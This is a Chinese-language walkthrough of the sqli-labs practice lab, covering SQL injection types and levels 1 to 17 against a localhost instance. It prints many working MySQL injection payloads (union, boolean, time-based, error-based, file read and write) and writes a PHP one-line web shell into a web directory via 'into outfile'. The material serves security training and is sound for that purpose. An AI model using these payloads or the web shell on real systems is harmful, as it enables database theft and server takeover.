sqli-labs-writeup
一直想着要刷这边的题目,但是一直没抽出时间来(留下了没技术的泪水)。现在补上。。。本文采用每题有新知识点就写一个知识点
关卡题目下载链接:https://github.com/Audi-1/sqli-labs
配置及解题方法参考Lcamry师傅的Mysql注入天书,线上网址:http://www.cnblogs.com/lcamry/category/846064.html
基础知识
sql注入分类
基于从服务器接收到的响应
- 基于错误的sql错误
- 联合查询的类型
- 堆查询注射
- SQL盲注
- 基于布尔SQL盲注
- 基于时间的SQL盲注
- 基于报错的SQL盲注
基于如何处理输入的SQL查询(数据类型)
- 基于字符串
- 基于数字或者整数为基础的
基于程度和顺序的注入
- 一阶注入
- 二阶注入
一阶注入是指输入的注入语句对Web直接产生了影响,出现了结果;二阶注入类似存储型xss,是指输入提交的语句,无法直接对Web应用程序产生影响,通过其他的辅助间接的对Web产生危害。
基于注入点的位置上的
- 通过用户填入的表单域的注入
- 通过cookie注入
- 通过服务器变量注入(头部信息)
常用知识点
常用函数:
1 | version()--数据库版本 |
字符串连接函数
1 | contact(str1,str2,...)--没有分隔符的连接字符串 |
一般的尝试性语句
1 | or 1=1 -- + |
一般代码为:
即:
1 | $id=$_GET['id']; |
此处考虑两个地方,一个是闭合前面的 '
,另一个是为了处理后面的'
,有两种思路,闭合后面的引号或者直接-- +
或者#(%23)
注释掉
union查询
union查询用于合并两个及以上select语句的结果集(union内部的select语句必须要有相同数量的列,列也必须要有相似的数据类型且每条select语句中的列的顺序也要相同)。
sql union语法
1 | select column_name(s) from table_name1 union select column_name(s) from table_name2 |
默认情况下,union选取的是不同的值,如果要允许重复的值,要使用union all
sql union all语法
1 | select column_name(s) from table_name1 union all select column_name(s) from table_name2 |
union查询结果中,列名为union中的第一个列名
sqli-labs
Basic
基础注入
less1
题目链接:http://localhost/sqli-labs-master/Less-1/
进入页面,看见下面这句话:
1 | Please input the ID as parameter with numeric value |
我们在页面中没有看见输入框,应该可以猜测或者你看源码可知道通过构造playload用GET或者POST方式进行注入,向这题,我们打开源码就可以看到是通过GET方式获取的数据
于是构造playload:http://localhost/sqli-labs-master/Less-1/?id=1
得到:
1 | Your Login name:Dumb |
没有报错出现了一个用户名,在 1 后面添加单引号,即 1'
发现报错:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 |
主要的错误点在于'1'' LIMIT 0,1
中添加了一个'
,这种方式就是从错误信息中得到我们想要的信息,接下来我们就是要解决这个问题,方法就是在后面添加-- +
将后面的内容直接注释掉,于是在后台发送的查询命令就会变为:select **** where id='1' or 1=1 -- +'LIMIT 0,1
发现没有报错了,尝试order by查询数据库的列数,order by 是对前面的查询数据进行排序。构造http://localhost/sqli-labs-master/Less-1/?id=1' order by 1 -- +
当尝试到4时发现开始报错,这说明在这里只有三列的数据
爆出列数,接下来就是用union select进行联合查询,爆出数据库、表、列名:
1 | http://localhost/sqli-labs-master/Less-1/?id=1' union select 1,2,3 -- + |
由此我们已经可以获取到用户信息了
1 | http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users where id=3 -- + |
造成注入的原因分析:
从源码我们得知,sql查询的语句为:select * from users where id = '$id' LIMIT 0,1
当服务器获取到被传送的id时直接就放入查询语句进行查询,并没进行id参数过滤,所以当提交or 1=1 -- +
就会直接构造sql查询语句select * from users where id='1' or 1=1 -- + LIMIT 0,1
这条查询语句中,or 1=1
永远都为真。
当id的数据不存在数据库中时,我们可以使用id=-1
,两个sql语句进行联合操作时,当前一个语句为空,就将后面的语句的内容显示出来了,此时前台页面返回的是我们构造的union查询数据。
less2
进入界面,获得一句话
1 | Please input the ID as parameter with numeric value |
跟less1是一样的,那就先按照less1的步骤来,
构造playload
1 | http://localhost/sqli-labs-master/Less-2/?id=1 //没有报错 |
//报错的信息为:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1 |
发现和less1的代码有些不太一样,错误提示为'LIMIT 0,1
是因为奇数个单引号出发了异常的抛出。
所以在这使用的查询语句应该是:
1 | select * from table where id=(some integer value) |
所以跟less1是不同的注入方式,尝试不用单引号闭合,而是使用数字进行查询:
1 | http://127.0.0.1/sqli-labs-master/Less-2/?id=1 -- +//正常 |
我们查看源码,发现在后台我们发送给数据库查询的代码如下
1 | $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; |
发现是没有对id
进行处理。所以和less1中就是相差一个单引号,只需要将less1中的playload的'
删除就行。
less3
进入界面仍然是那句话
1 | Please input the ID as parameter with numeric value |
按照less1的方法继续注入
1 | http://localhost/sqli-labs-master/Less-3/?id=1 |
此时返回的报错信息为:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 |
显然跟上面两个都是一样的,主要的信息为'1'') LIMIT 0,1
所以查询语句中,应该还有括号没有进行闭合,推出查询语句应该是:
1 | select * from table from where id=('our input here') |
所以我们要进行括号的闭合采用?id=1') -- +
进行注入
然后跟less1注入方式相同,只需在'
后面增加)
就行,下面是各playload
1 | http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 1 -- + |
less4
less4界面与前面的一致,进行尝试性的注入:
1 | http://localhost/sqli-labs-master/Less-4/?id=1 //正常返回 |
此时我们要注意,我们测试列数到了5还是返回正常,可以尝试一个比较大的数字,发现还是返回正常,说明我们在想法上发生了错误,我们可以在页面的标题中获知double quotes是双引号于是我们将上面的单引号改为双引号进行尝试
1 | http://localhost/sqli-labs-master/Less-4/?id=1" |
此时我们就获取到错误信息:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1 |
由此我们可以获知主要的错误在于"1"")
所以代码中对传输的id进行进行""
和()
包装,所以在注入是需要进行双引号和括号的闭合。
1 | http://localhost/sqli-labs-master/Less-4/?id=1") -- + //返回正常 |
盲注
盲注就是在sql注入过程中,sql查询语句执行的选择后,选择的数据无法显示在前端的页面,需要利用一些方法进行判断或者尝试。而盲注一般分为三类:
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注
基于布尔sql盲注——通过构造逻辑判断
截取字符串的相关函数:参考博文:https://www.cnblogs.com/lcamry/p/5504374.html
mid(column_name,start[,length])函数
参数 | 描述 |
---|---|
column_name | 必需字段,需要提取字符的字段 |
start | 必需字段,规定开始截取位置(起始值为1) |
length | 12可选字段,要返回的字符数,若省略,则mid()函数返回剩余文本 |
例如:str=“123456” mid(str,2,1) 输出结果为2
mysql中得应用例子:
1 | 1.select username,userGender from user where mid(userGender,1,1)='w'; |
substr()函数
subsr()和substring()函数的功能一样,均可截断字符串。用法:
string substring(string,start,length)
string substr(string,start,length)
参数与mid()函数是一样的。
应用例子:
1 | 1.select substr(database(),1,1); |
left()函数
left()得到字符串左部指定个数得字符,用法:
left(string,n) 参数string为要截取得字符串,n为长度
应用例子:
1 | select left(database(),1); |
ascii()函数
该函数主要得用处为将某个字符转换为其ASCII值
ord()函数
该函数用处与ascii()函数一样,都是将某个字符转换为ASCII值
regexp正则注入
在mysql5+种information_schema库中存储了所有的库名,表明以及字段名信息。所以可以通过以下攻击方式进行读取这些信息。
参考博客:http://www.cnblogs.com/lcamry/articles/5717442.html
1.判断第一个表名的第一个字符是否是a-z中的字符,其中blind-sqli是假设已知的库名。
注:正则表达式中^[a-z]表示字符串是在a-z范围内
1 | index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^[a-z]' limit 0,1)/* |
2.判断第一个字符是否是a-n中的字符
1 | index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^[a-n]' limit 0,1)/* |
3.确定该字符n
1 | index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind-sqli" and table_name regexp '^n' limit 0,1)/* |
4.表达式的更换如下
1 | expression like this: '^n[a-z]'->'^ne[a-z]'->'^new[a-z]'->'^news[a-z]'->false |
此时说明表名为news,要验证是否该表名正则表达式为‘^news$’ 或者直接判断table_name=’news’
5.猜解其他表名
regexp匹配的时候会在所有的项都进行匹配。例如:
security数据库的表有多个,users,email等,则
1 | select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1); //正确 |
以上可以说明,在limit 0,1下,regexp会匹配所有的项,我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。此时limit 0,1是对于where table_schema=’security’已经起到限定作用,limit有没有不重要。
上面的内容简单的说,正则注入的用法为:select user() regexp ‘^[a-z]’;
也就是正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。第二位可以用select user() regexp ‘^ro’来进行。
测试结果如图
当结果显示为1时说明是正确的,显示为0则为不正确
like匹配注入
在mysql中还可以使用like进行匹配
1 | select user() like 'ro%'; |
测试结果如图:
基于报错的sql盲注–构造playload让信息通过错误提示回显出来
方式一:
1 | select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2) a from information_schema.columns group by a; |
此处有三个关键点:
需要concat计数
floor,取得0 or 1,进行数据的重复
group by进行分组
其中具体的原理不是很了解,大致的原理为分组后数据计数时重复造成的错误,也有解释为mysql的bug问题,但是此处需要将rand(0),rand()需要多尝试几次
以上语句可以简化为
1 | select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)) |
如果关键表被禁用了,则可简化为
1 | select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2)) |
如果rand被禁用,则使用用户变量进行报错
1 | select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2) |
方式二:
select exp(~(select * from(select user())a)) //double数值类型超出范围
参考博文:https://www.cnblogs.com/lcamry/articles/5509124.html
mysql版本需要为5.5.5以上
exp()是以e为底的对数函e数,在mysql中expch传递一个大于709的值时,函数就会发生一个溢出错误。当涉及到注入的时候,就可以使用否定查询造成“double value is out of range”的错误,具体方式是通过子查询与按位求反,造成oudouble overflow error,并且借由此注出数据。例如:
1 | select exp(~(select * from (select user())x)); |
我在phpstudy上进行测试的时候发现不像参考博客内一样可以直接注出用户名,博客中能注出是这样的
1 | >`exp(~(select*from(select user())x))` |
并且参考在博客中可以注出表名等数据如下方式:
1 | 得到表名: |
目前还在找本地测试为什么不行的原因。后面根据博客http://www.creatapd.com/%E7%BB%86%E8%B0%88mysql%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/得知在mysql>5.5.53后exp报错不能返回结果。接着调低mysql版本进行测试。
select !(select * from(select user())x) - ~0
利用bigint溢出报错所进行的注入,bigint超出范围,~0是对0逐位取反,需要在5.5.5版本之后才能使用
参考博客:https://www.cnblogs.com/lcamry/articles/5509112.html
其主要的注入方式为利用子查询引起BITINT溢出,从而设法提取数据。在mysql中如果一个查询成功返回,其返回值为0,所以对其进行逻辑非就会变成1
例如,对(select * from (select user())x);进行逻辑非查询
1 | select (select * from (select user())x); |
1 | select ~0+!(select * from (select user())x); |
跟exp报错注入一样,mysql版本需要控制在5.5.5的版本,使用5.5.53版本进行测试会无法得到相应的结果。且在网页浏览器中“+”会被解析转换为空白符,但是可用%2b进行表示“+”,相反也可使用减法进行。同一种的注入方式会有不同的变种。
利用基于bigint溢出错误的注入手法,可以使用mysql所有的数学函数,只要是他们可以进行取反操作。例如:
1 | select !atan((select * from (select user())a))-~0; |
比较常用的函数为:
1 | HEX |
其提取数据的方法与其他注入攻击手法是一致的,例如:
获取表名:
1 | !(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0 |
取得列名:
1 | select !(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0; |
检索数据:
1 | !(select * from (select concat_ws(':',id, username, password) from users limit 0,1)x)-~0; |
利用插入语句进行注入:
具体的语法为:‘’ or (payload) or “”
例如:
1 | mysql> insert into users (id, username, password) values (2, '' or !(select * from (select user())x)-~0 or '', 'Eyre'); |
使用DIOS查询:
1 | insert into users (id, username, password) values (2, '' or !(select * from (select(concat(@:=0,(select count(*) from `information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre'); |
利用更新语句进行注入
1 | mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4; |
利用删除语句进行注入
1 | mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or ''; |
extractvalue (1,concat(0x7e,(select @@version),0x7e)) se
mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
*updatexml (1,concat(0x7e,(select @@verdion),0x7e),1) *
mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
通过mysql重复的特性,重复使用version函数造成报错。
基于时间的SQL盲注–延时注入
if (ascii (substr(database(),1,1))>115,0,sleep(5))%23
这是一句if判断语句,若条件为假则执行sleep,在实际渗透的过程中,因时间会有网速等其他影响因素,不可使用以下方法:
1 | select sleep(find_in_set(mid)@@version,1,1), '0,1,2,3,4,5,6,7,8,9,.'; |
这句话意思是在0-9之间找版本号的第一位。
union select if(substring(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’ by 5 seconds’ )),null) from (select database() as current) as tb1;
benchmark(current,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时的要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。
less5
题目界面仍旧
1 | Please input the ID as parameter with numeric value |
按照前面题目的方法,直接在playload中键入?id=1
得到不是相应的id=1的用户信息,得到的是You are in………..。此时查看下源码
查询结果存在时显示的不是查询返回的结果,而是直接返回You are in………..
(1)利用left(database(),1)进行尝试
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and left(version(),1)=5 -- + |
通过上述的playload判断数据库的版本号的第一位是否为5,若返回结果正确时则显示You are in………..,在mysql上进行查询版本号进行验证,发现是5.5.53,当页面没有显示的时候说明版本号是不正确的。
然后再查看数据库的长度
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and length(database())=8 -- + |
当长度为8时,返回正确的结果,说明长度为8
猜测数据库的第一位
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'a' -- + |
由于我们事先知道Database()为security,所以看起第一位是否>a,因为s>a所以返回是正确的,如果事先不知道的情况下使用二分法进行尝试会提高效率。
猜测数据库第二位,得知第一位为s,看前两位是否会大于sa
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sa' -- + |
往后就是类似的进行猜测,以至于将八位全部猜出来。
(2)利用substr() ascii()函数进行注入
1 | ascii(substr(select table_name info rmation_schema.tables where table_schema=database() limit 0,1),1,1))=101 |
根据以上得知数据库名为security,那我们利用此方式获取security数据库下的表。获取security数据库的第一个表的第一个字符
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from infromation_schema.tables where table_schema=database() limit 0,1),1,1))>80 -- + |
此处的table_schema可以为security,如果database()只有一个库就可以用database()。此处同样使用二分法进行测试。最终测试结果该表名第一个字符ascii值为101,为email的e。
而获取第一个表的第二个字符,则按照substr()函数的特性,将其改为sub(**,2,1)即可
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108 -- + |
获知第一个表的第二个字符ascii码值为109
以此类推就可将第一个表中的所有字符。
上述playload中limit 0,1意思是从第0个开始获取第1个表,获取第二个则是limit 1,1
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- + |
此处返回,因为第二个表名为referers,第一位为r
通过上述的全部过程就可以将security库中的表全部注入出来。
(3)利用regexp获取(2)中的users表中的列 //正则匹配
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)-- + |
这可以选择users表中的列名是否有us**
的列,测试users表中的us**
列的
第三个字符是否在a-z范围内。
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^username' limit 0,1) -- + |
图片说明username列是存在的,同样可以将username换成password等其他项也会是正确的。
(4)利用ord()和mid()函数获取users表的内容
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 -- + |
该playload可以获取到users表中的内容,获取username中的第一行的第一个字符的ascii,与68进行比较,即为D。而我们从表中得知第一行数据为Dumb。
(5)使用报错注入
1 | http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a -- + |
利用double数值类型超出范围进行报错注入
1 | http://localhost/sqli-labs-master/Less-5/?id=1' union select (exp(~(select * from (select user())a))),2,3 -- + |
此时要注意mysql版本是否是5.5.5-5.5.52之间的,超出这个范围是无法得到想要的结果。
利用bigint溢出进行报错注入
1 | http://localhost/sqli-labs-master/Less-5/?id=1' union select (!(select user())x) - ~0),2,3 -- + |
xpath函数报错注入
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) -- + |
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)-- + |
利用数据的重复性
1 | http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x -- + |
(6)延时注入
利用sleep()函数进行注入
1 | http://localhost/sqli-labs-master/Less-5/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))-- + |
如果查询语句是对的,则会直接显示
如果查询语句判断为错误时会有5秒的延时
利用BENCHMARK()进行延时注入
1 | http://localhost/sqli-labs-master/Less-5/?id=1' union select (if (substring(current,1,1)=char(115),benchmark(50000000,encode('MSG','by 5 seconds')),null)),2,3 from (select database() as current) as tb1 -- + |
当结果正确的时候,运作encode(’MSG’,’by 5 seconds’)操作50000000次,会占用一段时间。
less6
less6传入参数的部分源码
1 | $id = '"'.$id.'"'; |
与less5比较发现区别在与less6中对id参数传输到服务器时进行了处理,将id增加双引号传输,知道这个就可以将less5中id参数的单引号直接改为双引号
1 | http://localhost/sqli-labs-master/Less-6/?id=1" and left(version(),1)=5 -- + |
所有的注入过程与less5一致,只要将id的单引号改为双引号即可
1 | http://localhost/sqli-labs-master/Less-6/?id=1" and length(database())=8 -- + //数据库长度 |
Background-3 导入与导出相关操作
load_file()导出文件
load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
必须有权限读取并且文件必须完全可读,测试查询语句:
and (select count(*) from mysql.user)>0 //如果返回正常,说明具有读写权限
and (select count(*) from mysql.user)>0 //返回错误,应该是管理员对数据库账户降权
欲读取文件必须在服务器上
必须指定文件完整的路径
欲读取文件必须小于 max_allowed_packet
如果该文件不存在或因为上面的任意一种原因而不能被读取,函数返回为空。其中比较难满足的是权限,在win下,如果NTFS设置得当,是不能读取相关的文件,只有administrators才能访问的文件。
实际注入中,主要要解决两个难点
- 绝对物理路径
- 构造有效的畸形语句(报错爆出绝对路径)
常用的路径
1 | WINDOWS下: |
例如:
1 | select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))) |
利用hex()将文件内容导出,尤其是smb文件时可以使用
1 | -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) |
文件导入到数据库
LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。
在注入的过程中,我们往往需要一些特殊的文件,比如说配置文件,密码文件等。当拥有数据库的权限时,可以将系统文件利用load data infile导入到数据库中。
例如:
1 | load data infile '/tmp/to.txt' ignore into table to character set gbk fields terminated by '\t' lines terminated by '\n' |
将/tmp/to.txt导入到t0表中,character set gbk是字符集设置为gbk,fileds terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符
当错误代码为2时,文件不存在,错误代码为13时没有权限,可以考虑/tmp文件
导入到文件
1 | select ......into outfile 'file_name' |
可将被选择的某一行写入到一个文件中,该文件被创建到服务器主机上,前提是拥有file权限,才能使用该语法,file_name不能是一个已经存在的文件。
一般有两种利用形式:
直接将select内容导入到文件中:
1
select version() into outfile "c:\\phpnow\\htdocs\\test.php"
此处将version()替换成y一句话,也可以使用即:
1
select eval($_post["mima"]) ?php> into outfile "c:\\phpnow\\htdocs\\test.php" @
然后直接连接一句话即可,其实在select内容还可以上传很多的内容。
修改文件结尾
1
select version() into outfile "c:\\phpnow\\htdocs\\test.php" lines terminated by 0x16 进制文件
通常情况下,用‘\r\n’结尾,此处修改为自己想要的任何文件,同事可以用FIELDS TERMINATED BY。16进制可以为一句话或者其他任何的代码
TIPS:
(1)可能在文件路径当中要注意转义,具体看环境
(2)load_file()当前台无法导出数据的时候,可以使用:
1
select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini') into outfile 'c:\\wamp\\www\\test.php'
可利用该语句将服务器当中的内容导入到web服务器的目录中,这样就可以找到数据。在my.ini当中存在password项(默认被注释),会有很多可以被导出来。
less7
连接标题是dump into outfile 意思就是利用文件导入的方式进行注入。
首先还是回归源码中:
1 | $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; |
在源码中对id参数进行 '))
处理,可以尝试 ')) or 1=1 -- +
进行注入
1 | http://localhost/sqli-labs-master/Less-7/?id=1')) or 1=1 -- + |
以下为使用文件导入的方式进行注入:
1 | http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\uuu.txt" -- + |
图中显示sql出错但是在文件中还是创建了uuu.txt文件。
ps:若无法生成文件,需要将my.ini配置文件中的secure_file_priv选项设置为空,若无该选项则添加设置secure_file_priv=’’
测试完成则将一句话木马放进去
1 | http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,2,'<?php @eval($_post["mima"]) ?>' into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\yijuhua.php" -- + |
当访问页面时,一句话没有显示
然后使用菜刀进行连接。
less8
通过测试发现or 1=1 -- +
返回正常,参考less5的playload进行注入
1 | http://localhost/sqli-labs-master/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) -- + //数据库名第一位为s |
测试发现可以使用延时注入,并查看less8的源码得到:
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
在源码中发现当数据库查询发生错误时,没有输出任何的报错信息,也就是与less5相比,我们无法使用报错注入的方式。其余playload与less5一致。
1 | http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 -- + //返回是正确的,测试至101开始报错,说明security库下第一个表的第一个字符为e |
less9
在连接的标题看到该关卡是关于基于时间-单引号的注入方式,明显是需要通过延迟注入,同时将对参数id进行'
进行处理。既然前面已经有延时注入的方式,所以这边直接贴playload
1 | 猜测数据库名 |
上述过程就是通过延时注入的全部过程,当然也可以使用benchmark()函数进行注入。
less10
标题提示基于时间-双引号,与less9一样,该关卡使用的是延时注入的方式,区别在于less9对id进行的是单引号处理,而这边是使用双引号处理。
1 | 猜测数据库名 |
其余的playload参考less9的内容一样
less11
这边开始要通过post提交数据,post就是将数据从客户端提交到服务器端。例如下面这个界面,通过界面输入用户名和密码,用户名和表单以表单的形式提交,提交到服务器后服务器再进行验证。这就是一个post的过程。
进行post注入有两种方式进行,一种是直接在页面进行传输数据,但是这样比较不直观,另一种是使用burpsuite进行报文拦截然后进行修改发送,比较直观。使用burpsuite拦截本地主机报文需要进行设置。(以Google chrome为例)
在代理插件处将不拦截报文的地址将内容删除
将Internet选项中的连接-》局域网设置中的代理服务器进行设置,如下
查看本地ip地址,将浏览器中的localhost该ip地址
就可以使用burpsuite的报文
由上面这张图可以看到通过post传输的参数共有三个
1 | uname=1&passwd=1&submit=Submit |
其中键入的数据的变量为uname和passwd,通过像get参数传输的注入方式进行post注入,例如:
uname:admin'
passwd: 111(随便输入)
数据库进行了报错回显,通过报错信息我们发现sql查询语句进行了单引号处理
传入参数:uname:admin’# 密码随意
发现直接将用户名密码查询出来了,username:admin password:admin。当提交username和password后,后台形成的sql语句为
1 | SELECT username, password FROM users WHERE username='admin'#' and password='$passwd' LIMIT 0,1 |
#将admin后面的内容注释掉,而在数据库中包含admin用户名所以语句成立,此时就使用admin进行了登录,然后尝试使用get注入中用到的其他语句进行代替or 1=1进行注入。
1 | username: 1admin'union select 1,database() |
less12
当键入username:admin’ passwd:1 没有任何的报错回显,
尝试双引号,即username:admin” passwd:1
错误回显发现1”) LIMIT 0,1,发现在参数进行了处理将username进行了处理,需要增加)。
所以参照less11构造相关的查询语句变量
1 | username:1admin") union select 1,database()# |
less13
键入变量值:username: admin’ password: 1(任意)
获得报错信息1’) LIMIT 0,1可知是username进行了‘)处理,将参数增加)进行注入尝试,username: admin’) # password: 1
发现回显的只有成功登录的信息,没有返回的用户信息,这样就只能使用布尔盲注进行。
1 | uname:admin') and length(database())=8# |
less14
使用uname:admin’ passwd:1尝试发现不行,然后使用uname:admin” passwd:1发现有了报错回显,根据错误显示,对username进行了”处理。
uname:admin”# passwd:1 成功登陆后发现与less13一样,没有用户信息返回,使用盲注的方式就行注入。
1 | uname:admin" and length(database())=8# |
其余参考less13,只需将‘)改为“就行了
也可使用报错注入的方式。
1 | uname:admin" and extractvalue(1,concat(0x7e,(select @@version),0x7e))# |
1 | uname:admin" and extractvalue(1,concat(0x7e,(select database()),0x7e))# |
less15
本关卡通过admin'
和admin"
进行都没有任何的错误返回,查看源码得到sql查询语句
1 | @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; |
获知对uname进行单引号处理,同时无法使用报错注入的方式,可以使用延时注入。
1 | uname:admin' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) |
当正确时可以直接登录,不正确则会延迟5秒
1 | uname:admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))# |
less16
通过使用 admin
和 admin"
进行尝试,发现没有任何的反应,猜测要使用延时注入的方式进行,查看源码发现sql查询语句:
1 | $uname='"'.$uname.'"'; |
查询语句中将uname和passwd进行了双引号和括号处理,所以将less15中的playload进行单引号变双引号加上括号即可。
1 | uname:admin") and if(ascii(substr(database(),1,1))=115,1,sleep(5))# |
当语句正确时可以直接登录,不正确时延时5秒 。其余playload与less15一样
1 | uname:admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5)# |
Background-4 数据库增删改查
数据库最常用的四个功能,增删改查
增加一行数据insert
,语法:
1 | //插入单行 |
删除一行数据 delete
1 | //删除<满足条件的>行 |
更改数据 update
1 | update <表名> set <列名=更新值> [where <更新条件>] |
查询数据 select
1 | //精准(条件)查询 |
less17
由页面标题得知,这是一个密码重置的过程,主要会利用到update语句。
尝试使用报错注入
1 | uname:admin |
错误回显:
1 | near 'admin'' at line 1 |
说明在重置密码的时候使用单引号进行处理。使用报错盲注
1 | uname:admin |
将@@version换成需要查询的子句即可
1 | uname:admin |
这边使用passwd作为注入点而不是像之前的使用uname,是因为在后台对uname进行了处理。
1 | $uname=check_input($_POST['uname']); |
后台对uname参数进行check_input()函数进行检查。
此处需要了解的一些函数:
addslashes()
addslashes()函数返回在预定义字符之前添加反斜杠的字符串
预定义字符:
- 单引号
'
- 双引号
"
- 反斜杠
\
- NULL
tips:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
默认情况下,php对所有的GET、POST和COOKIE数据自动运行addslashes(),所以不应对已转义过的字符串使用addslashes(),否则将导致双层转义,遇到这种情况时可使用get_magic_quotes_gpc()进行检测。
语法:addslashes(string)
参数stringi 是必需字段,规定要转义的字符 返回值为已转义的字符串
要求在PHP 4+版本
stripslashes()
函数删除由addslashes()函数添加的反斜杠
mysql_real_escape_string()
函数转义SQL语句中使用的字符串中的特殊字符。
主要是以下字符受影响:
- \x00
- \n
- \r
- \
- ‘
- “
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回false
语法:mysql_real_escape_string(string,connection)
参数 | 描述 |
---|---|
string | 必需,规定要转义的字符串 |
connection | 可选,规定Mysql连接,如果未规定,则使用上一个连接 |
本函数string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用mysql_query()。
所以在本关卡check_input()中,对username进行各种转义的处理,所以此处不能使用uname进行注入。
Background-5 HTTP头部介绍
Http头部详解
1.Accept:告知web服务器自己接受什么介质类型,*/*
表示任何类型, type/*
表示该类型下的所有子类型,type/sub-type
2.Accept-Charset:浏览器申明自己接收的字符串
Accept-Encoding:浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate)
Accept_Language:浏览器申明自己接收的语言
语言与字符串的区别:中文是语言,中文有很多字符集,比如big5,gb2312,gbk等
3.Accept_Ranges:web服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受,none:表示不接受
4.Age:当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间。
5.Authorization:当客户端接收来自WEB服务器的WWW-Authenticate响应时,用该头部来回应自己的身份验证信息给WEB服务器
6.Cache-Control:
请求:
no-cache(不要缓存的实体,要求现在从web服务器获取)
max-age:(只接受Age值小于max-age值,并没有过期的对象)
max-stale:(可以接受过期的对象,但是过期时间必须小于max-stale值)
